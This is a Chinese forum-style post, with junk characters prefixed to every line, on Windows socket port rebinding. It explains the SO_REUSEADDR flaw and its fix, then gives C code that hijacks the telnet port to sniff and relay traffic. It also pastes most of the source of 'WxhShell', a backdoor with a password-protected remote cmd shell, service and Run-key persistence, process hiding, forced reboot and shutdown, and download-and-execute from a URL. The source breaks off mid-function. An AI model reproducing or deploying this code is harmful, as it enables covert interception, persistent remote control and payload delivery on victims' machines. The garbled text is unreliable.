在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
I7[F,xci s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
<E&[sQ|3 ~WKcO& saddr.sin_family = AF_INET;
94Hs.S) "{1SDbwmMo saddr.sin_addr.s_addr = htonl(INADDR_ANY);
$t1XoL Z` ;.62S bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
-C s\Zp/-Q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
:)P Aj L2NO_N 这意味着什么?意味着可以进行如下的攻击:
+^@;J?O cW|M4` 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
cD!yd^QE ]TTQ;F 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
@/DHfs 4O Q+r8qnL' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
p3f>;|uh_ d^.@~ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
S1`;2mAf* 2)W~7GED 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
*!W<yNrR bAd$
>DI[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Ie<`WU K p%?VW 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
/&T"w,D vz^w%67& #include
)ld !(d= #include
(mvzGXNz4 #include
/8s+eHn&% #include
3P&K<M#\ DWORD WINAPI ClientThread(LPVOID lpParam);
8'nxc#& int main()
DjK {
PrZs@ Y WORD wVersionRequested;
5PCMxjon DWORD ret;
QnJ(C]cW WSADATA wsaData;
\i}:Vb(^ BOOL val;
+hW^wqk/. SOCKADDR_IN saddr;
|J_kS90= SOCKADDR_IN scaddr;
j,%<16f^A int err;
|V>_l'
/ SOCKET s;
ar!`8" SOCKET sc;
-$Ad#Eu]M int caddsize;
}ag
-J."5M HANDLE mt;
<O]TM-h DWORD tid;
QEb
^'y wVersionRequested = MAKEWORD( 2, 2 );
O0i)Iu(J7; err = WSAStartup( wVersionRequested, &wsaData );
FFvF4]|L if ( err != 0 ) {
3u tJlD printf("error!WSAStartup failed!\n");
xi!CZNz return -1;
7YLG<G!v)] }
b5Sgf'B^ saddr.sin_family = AF_INET;
XoO#{7a "T?hIX/p_ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
tu%!j}3s $
M8ZF(W saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
8rXQK|A saddr.sin_port = htons(23);
cc
%m0p if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
u]!ZW& {
~|>q)4is6a printf("error!socket failed!\n");
!-OPzfHrI return -1;
'Drz6K_KrP }
kM>Bk\ val = TRUE;
{)c2#h //SO_REUSEADDR选项就是可以实现端口重绑定的
SD=kpf; if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Js706 {
[*jvvkAp printf("error!setsockopt failed!\n");
hh$V[/iK return -1;
M|l`2Hpe }
W-ctx"9DS //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
k>ERU]7[ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Te :4z@? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
L]_1z uv}?8$<\ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
10C,\ {
vp#A D9h1 ret=GetLastError();
oRbG6Vv/ printf("error!bind failed!\n");
G5R"5d' return -1;
`RriVYc< }
zt23on2 listen(s,2);
<691pkX while(1)
l^ Q-KUI {
(C=.&',P caddsize = sizeof(scaddr);
ohod)8 //接受连接请求
h\@\*Xz<v sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
/%P|<[<
[ if(sc!=INVALID_SOCKET)
x_yQoae
{
D ^Cpgha mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
{okx*]PIc if(mt==NULL)
qVpV ZH! {
, '_y@9?I printf("Thread Creat Failed!\n");
p}r1@L s break;
R}S@u@mOE }
MzWVsV }
7v8V0Gp CloseHandle(mt);
?df*Y5I2 }
@'Y^A closesocket(s);
X5V8w4NN WSACleanup();
X:ck return 0;
5R?[My }
5ml#/kE DWORD WINAPI ClientThread(LPVOID lpParam)
YaWZOuxm {
)nI}K QJ< SOCKET ss = (SOCKET)lpParam;
W>*9T? SOCKET sc;
YH
5jvvOI unsigned char buf[4096];
1%R8q=_ SOCKADDR_IN saddr;
n&4 4Acs[ long num;
*T+Bjj;w DWORD val;
^Qx
qv DWORD ret;
."u-5r<O //如果是隐藏端口应用的话,可以在此处加一些判断
&:3uK` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
LMF@-j% saddr.sin_family = AF_INET;
N"+o=nS saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
tcm?qro) saddr.sin_port = htons(23);
$0f( G c| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
M`~UH\ {
5Wyo!pRi printf("error!socket failed!\n");
zHEH?xZ6sD return -1;
[lmghI! }
LxcC5/@\~( val = 100;
VD,p<u{r if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
PGE|){
< {
PqhR^re0. ret = GetLastError();
%O=U|tuc$ return -1;
.o._`"V }
2EU((Q`>=( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,?OWwm&J {
Ui^~A ret = GetLastError();
zn=Ifz)#| return -1;
YEg(QOn3Q }
19r4J(pV
if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
vzr?#FG {
Vg>\@ C.s printf("error!socket connect failed!\n");
#%=6DHsK closesocket(sc);
&"h 9Awn2 closesocket(ss);
,k,RXgQ return -1;
e?V7<7$ }
TVVr<r while(1)
^iHwv*ss {
t,f)!D$ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
'UW(0 PXw //如果是嗅探内容的话,可以再此处进行内容分析和记录
q$<M2 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
\$iU#Z num = recv(ss,buf,4096,0);
_~{Nco7T if(num>0)
n B5 :X send(sc,buf,num,0);
b%TS37`^[ else if(num==0)
YM:;mX5B break;
MHm=X8eg num = recv(sc,buf,4096,0);
x$6`k if(num>0)
d,c8ks( send(ss,buf,num,0);
U)PNY else if(num==0)
aLWNqe&1 break;
>`3wEJ"< }
|\Zs oA closesocket(ss);
%/K'VE6pb closesocket(sc);
fW'@+<b return 0 ;
/|)VO?*D }
]z%X%wL 5Dhpcgq<< $wQkTx ==========================================================
>\/H2j s%{8$>8V. 下边附上一个代码,,WXhSHELL
"RkbT O O]XdPH20 ==========================================================
n'
XvPV| D^[}:O{ #include "stdafx.h"
em@bxyMm o)(N*tC #include <stdio.h>
0G`F Xj}L #include <string.h>
sp/l-a #include <windows.h>
^"U-\cx #include <winsock2.h>
iPD5
KsAOA #include <winsvc.h>
`Wes!>Vh! #include <urlmon.h>
mr4W2Z@L lJ'.1Z& #pragma comment (lib, "Ws2_32.lib")
"M GX(SQ #pragma comment (lib, "urlmon.lib")
2i~ tzo =)2sehU/ #define MAX_USER 100 // 最大客户端连接数
&gNb+z+ #define BUF_SOCK 200 // sock buffer
n O^m #define KEY_BUFF 255 // 输入 buffer
T;4& ^5n i>]1E^yF #define REBOOT 0 // 重启
~)ZMGx #define SHUTDOWN 1 // 关机
8Moe8X#3 FR7DuH/f) #define DEF_PORT 5000 // 监听端口
)YKnFSm Xf4 #define REG_LEN 16 // 注册表键长度
WT-BHB1 #define SVC_LEN 80 // NT服务名长度
)*b
dG'}
HP$GI // 从dll定义API
FuWMVT`Y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
d>RoH]K4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
^-*q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
6;O fh typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
,t2yw &gDwsW // wxhshell配置信息
fAW( struct WSCFG {
*FINNNARB int ws_port; // 监听端口
z
?3G` char ws_passstr[REG_LEN]; // 口令
P
-O& X int ws_autoins; // 安装标记, 1=yes 0=no
Y]u6f c char ws_regname[REG_LEN]; // 注册表键名
TL29{'4V char ws_svcname[REG_LEN]; // 服务名
+*O$]Hh char ws_svcdisp[SVC_LEN]; // 服务显示名
8RA]h?$$J char ws_svcdesc[SVC_LEN]; // 服务描述信息
H}Jdnu| ko char ws_passmsg[SVC_LEN]; // 密码输入提示信息
nB~h mE) int ws_downexe; // 下载执行标记, 1=yes 0=no
_RT JEG char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
yFD3:;} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
up# R9
d| b`lLqV<[cB };
CQ4MQ<BJ. #:~MtV
// default Wxhshell configuration
'=M4(h struct WSCFG wscfg={DEF_PORT,
I3ZlKI "xuhuanlingzhe",
%![%wI? 1,
E8Rk
b} "Wxhshell",
Ih&rXQ$ "Wxhshell",
/K@_O\+;Q "WxhShell Service",
q&:UP "Wrsky Windows CmdShell Service",
y1oQ4|KSI "Please Input Your Password: ",
mMz^I7$ 1,
d*Wg>8| "
http://www.wrsky.com/wxhshell.exe",
EAdr}io "Wxhshell.exe"
(oftq!X2 };
|8|_^` w%3R[Kdzk // 消息定义模块
~6<'cun@x char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
:EkhF6B/ char *msg_ws_prompt="\n\r? for help\n\r#>";
cE|Z=}4I7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]c Or$O* char *msg_ws_ext="\n\rExit.";
b3zxiq
x char *msg_ws_end="\n\rQuit.";
s`Y8&e.Yr char *msg_ws_boot="\n\rReboot...";
LU7ia[T char *msg_ws_poff="\n\rShutdown...";
\8KAK3i' char *msg_ws_down="\n\rSave to ";
0xSWoz[i6~ '
)0eB: char *msg_ws_err="\n\rErr!";
2!}:h5 char *msg_ws_ok="\n\rOK!";
/"f4aF[ M6j!_0j char ExeFile[MAX_PATH];
S4salpz int nUser = 0;
Oi?+Z:lak HANDLE handles[MAX_USER];
}[$qn| int OsIsNt;
ib-)T7V` 1+{V^)V? SERVICE_STATUS serviceStatus;
VbwB<nQl SERVICE_STATUS_HANDLE hServiceStatusHandle;
&&Uc%vIN "f1`6cx6 // 函数声明
*(?tf{ int Install(void);
T>!Y-e.q int Uninstall(void);
%6%QE'D int DownloadFile(char *sURL, SOCKET wsh);
y3,'1^lA int Boot(int flag);
^L,Uz:[J void HideProc(void);
0m,3''Q5lO int GetOsVer(void);
vmY 88Kx&S int Wxhshell(SOCKET wsl);
J%:D%=9 ) void TalkWithClient(void *cs);
UhI T!x int CmdShell(SOCKET sock);
ik;S!S\v int StartFromService(void);
, sOdc!![ int StartWxhshell(LPSTR lpCmdLine);
k)a3j{{ vg.K-"yQW VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
mZ[tB/ VOID WINAPI NTServiceHandler( DWORD fdwControl );
0tFR.
sS? S5,y!K]C~ // 数据结构和表定义
<
s>y{e SERVICE_TABLE_ENTRY DispatchTable[] =
cl'#nLPz; {
[yEH!7 {wscfg.ws_svcname, NTServiceMain},
C{5bG=Sg~ {NULL, NULL}
M%vZcP };
@[s+5_9nk Rg3cqe#O/ // 自我安装
mF6 U{= int Install(void)
fx"~WeVcO {
BJL*Dihm[ char svExeFile[MAX_PATH];
W/\M9
HKEY key;
Jn+k$'6%# strcpy(svExeFile,ExeFile);
){sn!5= t=6[FK // 如果是win9x系统,修改注册表设为自启动
##+f/Fxym if(!OsIsNt) {
ag7(nn0! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
d,"6s=4(q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ZJod=^T RegCloseKey(key);
HgY> M`U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/Tc
I RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0wA?.~ L RegCloseKey(key);
l_1y#B-k5 return 0;
{'^!S"9x }
K,$Ro@! }
Wifr%&t{J }
2H]~X9,z2 else {
egd%,` PdkS3Hz // 如果是NT以上系统,安装为系统服务
Mqk[+n SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
dB=aq34l if (schSCManager!=0)
qGYru1 {
Y~fa=R{W SC_HANDLE schService = CreateService
,t!K? Y (
j@98UZ{g\ schSCManager,
mZgYR~ wscfg.ws_svcname,
F s{}bQyQ wscfg.ws_svcdisp,
"A>/m"c]* SERVICE_ALL_ACCESS,
%"C%pA SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
;r1.Uz( SERVICE_AUTO_START,
NmH:/xU?^ SERVICE_ERROR_NORMAL,
kzb%=EI svExeFile,
^=1:!'*3D NULL,
=_@Q+N*]|( NULL,
6%^9`|3 NULL,
U~}cib5W5 NULL,
UD+r{s/% NULL
rmq^P;At );
Tg-HR8}X if (schService!=0)
!ot$ Q {
?%]?#4bkc CloseServiceHandle(schService);
H*H=a CloseServiceHandle(schSCManager);
_-mJI+^/ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
]CnqPLqL strcat(svExeFile,wscfg.ws_svcname);
-:P`Rln if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
E979qKl RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$YPQi. RegCloseKey(key);
c1 ~= return 0;
<:YD.zAh| }
G^6\ OOSy }
.>;}GsN& CloseServiceHandle(schSCManager);
fN-y8 }
XVRtfo }
AgU 7U/yk B|zVq=l~ return 1;
h]w5N2$}? }
qbunP! 9si,z // 自我卸载
mKh<M)Bz int Uninstall(void)
F VVpyB| {
xtN=?WjVe0 HKEY key;
*
SHQ[L4{ J_tI]?jrU if(!OsIsNt) {
l4LowV7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
a+_F^ RegDeleteValue(key,wscfg.ws_regname);
M?FbBJ`sF RegCloseKey(key);
`BGU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
n@e[5f9?x RegDeleteValue(key,wscfg.ws_regname);
oKlO cws} RegCloseKey(key);
NW*qw q return 0;
Do\YPo_Mr }
Fu/{*4 }
XY*KWO }
'aAay*1 else {
rf:CB&u 6z2_b wo SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
eCI0o5U if (schSCManager!=0)
>RL|W}tI4 {
/U1 jCLR' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
J]=2] oI2 if (schService!=0)
w?db~"T {
FE[{*8 if(DeleteService(schService)!=0) {
6lKM5,Oa CloseServiceHandle(schService);
7K\H_YY8# CloseServiceHandle(schSCManager);
HXg4
T return 0;
Ts~)0 }
H{4/~Z CloseServiceHandle(schService);
d J;y>_ }
aDreN*n CloseServiceHandle(schSCManager);
Dn9AOi! }
/[|ODfY }
=nTNL .SX rcyq+wY # return 1;
fmv8)$W#U }
=>Md>VM A8by5qU // 从指定url下载文件
R/UL4R,)^ int DownloadFile(char *sURL, SOCKET wsh)
c{SD=wRt,y {
b#2$Pd:( HRESULT hr;
Db5y";T char seps[]= "/";
Om/mpU/U char *token;
cYafQyU char *file;
TzW1+DxM5 char myURL[MAX_PATH];
$ [NC$*N7 char myFILE[MAX_PATH];
:+nECk z/IZ ;K_e strcpy(myURL,sURL);
"VfV;)]|w token=strtok(myURL,seps);
mEM/}]2 while(token!=NULL)
V(LE4P1 {
oD=6D9c? file=token;
(XDK&]U token=strtok(NULL,seps);
IxxA8[^V }
@N'0:0Nb_ Z%uDz3I\Q" GetCurrentDirectory(MAX_PATH,myFILE);
C6neZng strcat(myFILE, "\\");
ly)b=ph& strcat(myFILE, file);
JL7"}^ send(wsh,myFILE,strlen(myFILE),0);
dAZh# i[ send(wsh,"...",3,0);
XM"{" hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Gf|qc>j.b if(hr==S_OK)
>dTJ return 0;
,cqZb0VP{t else
mI[$c"!BD return 1;
4)4E/q/5 a=!I(50 }
t'F_1P^*/ Wxxnc#;lv // 系统电源模块
?[ts<Ltp int Boot(int flag)
1~x=bphS {
JnT1-=t. HANDLE hToken;
52L* :|b TOKEN_PRIVILEGES tkp;
TP5?%SlJ ~{O9dEI if(OsIsNt) {
O [81nlhS0 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
!83N.
gN LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
KC`~\sYRN] tkp.PrivilegeCount = 1;
f4k\hUA tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
c_33.i"I} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
UQ ~7,D`=# if(flag==REBOOT) {
0qV"R7TW if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@fVCGV?' return 0;
6a=Y_fma }
I'NE>!=Q else {
;~ >E^0M if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
96&Y return 0;
i7m=V T }
+-|D$@8S }
\40d?N#D else {
V=C@ocyZ if(flag==REBOOT) {
%ys-y?r if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
H(1(H0Kj" return 0;
t[.wx.y&0 }
G}lP'9/ else {
WG_20JdJY if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
N!`8-ap\^ return 0;
\3ZQ:E}5 }
l5m5H,` }
MZ8jL,a^ .skR4f,h return 1;
.kGlUb?^Q }
8-wW?YTG y8{PAH8S // win9x进程隐藏模块
3>`CZ]ip} void HideProc(void)
^rKA=siz {
Y\qiYra *$KUnd-T HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
4rh*&' if ( hKernel != NULL )
`y26OYo {
DM-8azq $ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
L-LN+6r(# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
BE;J/ FreeLibrary(hKernel);
JVORz-uBs }
p:hzLat~ eqyZ|6 return;
>}43xIRRCq }
?`nF"u> YGA("< // 获取操作系统版本
qXGAlCq@ int GetOsVer(void)
_PPW9US{ {
-bamNw>| OSVERSIONINFO winfo;
MBbycI, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
+n
$ {6/
GetVersionEx(&winfo);
b,U3b})( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
M=n_;3,o return 1;
9\/T #EP else
@[qGoai return 0;
Q/%(&4>'y }
V0gk8wD Ch1+YZG // 客户端句柄模块
lD8&*5tDmP int Wxhshell(SOCKET wsl)
5PJB<M_m: {
$Yr'`(Cbc SOCKET wsh;
XcS8{ struct sockaddr_in client;
PC_#kz DWORD myID;
? 9.V@+i $>3/6(bW while(nUser<MAX_USER)
#nE%.k|R~ {
z|Hc=AU8y int nSize=sizeof(client);
UH<nc;.B wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Q}J'S5% if(wsh==INVALID_SOCKET) return 1;
%0PdN@I CWVCYm@!kz handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
_u`NIpXSP if(handles[nUser]==0)
s_=/p5\ closesocket(wsh);
Ufz& 2 else
LiyEF&_u nUser++;
h SZ0 }/ }
:%dIX}F WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
0x}8} !9!kb return 0;
T4dYC'z }
'oZ/fUl|7 ({ 7tp!@ // 关闭 socket
DR o@gYDn void CloseIt(SOCKET wsh)
y&0&K4aa {
uA?_\z? closesocket(wsh);
#rZk&q nUser--;
Tr1#=&N0 ExitThread(0);
yqF$J"=| }
nb:J" Ul?Ha{W // 客户端请求句柄
A2o;YyF void TalkWithClient(void *cs)
JM#jg-z,~ {
d9XX^nY. 3U&QonCV SOCKET wsh=(SOCKET)cs;
PMJe6*(x/ char pwd[SVC_LEN];
kO:iA0KUX char cmd[KEY_BUFF];
Hp_3BulS< char chr[1];
}2.^n{Y
int i,j;
[?<"SJ,` P!C!E/Jf5 while (nUser < MAX_USER) {
ny5=
=C{9 uf*sI if(wscfg.ws_passstr) {
0gBD if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_C v({m&N //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%C=
{\]-2~ //ZeroMemory(pwd,KEY_BUFF);
wSp1ChS k i=0;
"`DCXn#mB while(i<SVC_LEN) {
U9;C#9E 5|ih>? C/( // 设置超时
(Al.hEs' fd_set FdRead;
L&qzX) struct timeval TimeOut;
DRD%pm( FD_ZERO(&FdRead);
R1z\b~@" FD_SET(wsh,&FdRead);
l1~>{:mq TimeOut.tv_sec=8;
4WnB{9
i`I TimeOut.tv_usec=0;
?aInn:FE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
+]Oq{v:e if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
oy!W$ ?6 m:<cLc :. if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Xc2Oa pwd
=chr[0]; p+ymtPF
if(chr[0]==0xd || chr[0]==0xa) { OHzI!,2]
pwd=0; S] Gw}d]4
break; cO2
.gQo'
} XF1x*zc
i++; 0X\,!FL
} >2gemTy
vN%zk(?T
// 如果是非法用户,关闭 socket n
5NkjhP~Z
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )<
~1AL
} OGNjn9av
JBdZ]
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0@E[IDmp
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \GeUX<Fl
-OZRSjmY
while(1) { 5gg_c?Vh/
v709#/cR
ZeroMemory(cmd,KEY_BUFF); %@L(A1"#D
lhAwTOn`Q
// 自动支持客户端 telnet标准 lY_E=K]
j=0; *k'oP~:fT
while(j<KEY_BUFF) { MpM-xz~
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "A^9WhUpJ
cmd[j]=chr[0]; Tn[DF9;?
if(chr[0]==0xa || chr[0]==0xd) { qFmvc
cmd[j]=0; |jW82L+!N%
break; bL+Hw6;
} 4E:HO\
j++; ]yN]^%PYH
} 5tR<aIf
6a PZW
// 下载文件 %FGPsHH
if(strstr(cmd,"http://")) { F ]\4<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); .eW}@1+[;
if(DownloadFile(cmd,wsh)) ecA[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FsZF>vaV
else G*e/Ft.wf8
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `9eE139V='
} \1f$]oS
else { ?gjM]Ki%:
_ Onsfv
switch(cmd[0]) { aYe,5dK>
pL>Q'{7s3
// 帮助 ,;C92XY
case '?': { Ul OoMGg
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +L*2 6ar6
break; }:YS$'by
} UaCEh?D+Y
// 安装 F<X)eO]tk
case 'i': { TPp%II'*
if(Install()) L #p-AK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DqrS5!C
else di`Ql._M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oddS~lW
break; ofl3G
{u
} {hK$6bD3^
// 卸载 K9}ppgL'$
case 'r': { pox\Gu~.0
if(Uninstall()) .Xh ^L
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "$PbpY
else ;PI=jp
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /iNCb&[
break; ROr$S z
} ;JA2n\iP,
// 显示 wxhshell 所在路径 I-4csw<Qy
case 'p': { gIep6nq1`|
char svExeFile[MAX_PATH]; ' A= x
strcpy(svExeFile,"\n\r"); k}l5v)m
strcat(svExeFile,ExeFile); e{.2*>pH
send(wsh,svExeFile,strlen(svExeFile),0); "m ):"
break; {
dw m>a
} nK1XJp
// 重启 l%.3hId-
case 'b': { }m/aigA[1
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d~uK/R-KD
if(Boot(REBOOT)) ZT95g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m C_v!nL.
else { tTe\#o`
closesocket(wsh); &CF74AN#
ExitThread(0); EbuOPa
} :gVz}/C.@
break; il\#R%';5
} Lo @mQ
// 关机 0@{K'm/
case 'd': { X !NH?0)
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZU7e1VaZM
if(Boot(SHUTDOWN)) UL$^zR3%d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "lx}.
else { o\1"ux;b
closesocket(wsh); `Z>4}<~+
ExitThread(0); ;o_4)+}
} .
[+ObF9=
break; Y(78qs1w
} soA>&b!?
// 获取shell _sbZyL
case 's': { ]pl g@
CmdShell(wsh); T/MbEqAf
closesocket(wsh); KQaw*T[Q3w
ExitThread(0); fyYT #r
break; c^}gJ
} yAG4W[
// 退出 :)t1>y>3
case 'x': { DY^q_+[V
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ? QwDV`
CloseIt(wsh); Fl]$ql
break; 8fTuae$^
} Yq4_ss'nB
// 离开 kM*f9x
case 'q': { ,'m<um
send(wsh,msg_ws_end,strlen(msg_ws_end),0); oOBN
closesocket(wsh); k]`I3>/L
WSACleanup(); Sb> ;k(;`:
exit(1); .1.n{4z>:
break; 0vQ@n7
} GfD!Z3
} pY!@w0.
} 0^*4LM|z
j!iimdq
// 提示信息 &!2
4l=!
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ae{%*
\J
} pq#Hca[
} > YKvwbCf8
fI`6]?W
return; Ti#2D3
} v0jRoE#
4&!`Yi_1L
// shell模块句柄 }I}Rq D:`
int CmdShell(SOCKET sock) x,@cU}D
{ Jj*XnL*
STARTUPINFO si; [m?eSq6e2b
ZeroMemory(&si,sizeof(si)); {[61LQ6V9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UMpC2)5
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :R{Xd{?
PROCESS_INFORMATION ProcessInfo; HZ5*PXg~
char cmdline[]="cmd"; `n
Y!nh6!
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eEb(TG~,Y
return 0; J1YP-:
} L0qo/6|C
M['8zN
// 自身启动模式 `]#D dJ_|
int StartFromService(void) Dh BUMDoB
{ .8uJ%'$)
typedef struct qS*qHT(u19
{ 9(QY~F
DWORD ExitStatus; W=&\d`><k
DWORD PebBaseAddress; HtgVD~[]
DWORD AffinityMask; 8TD:~ee
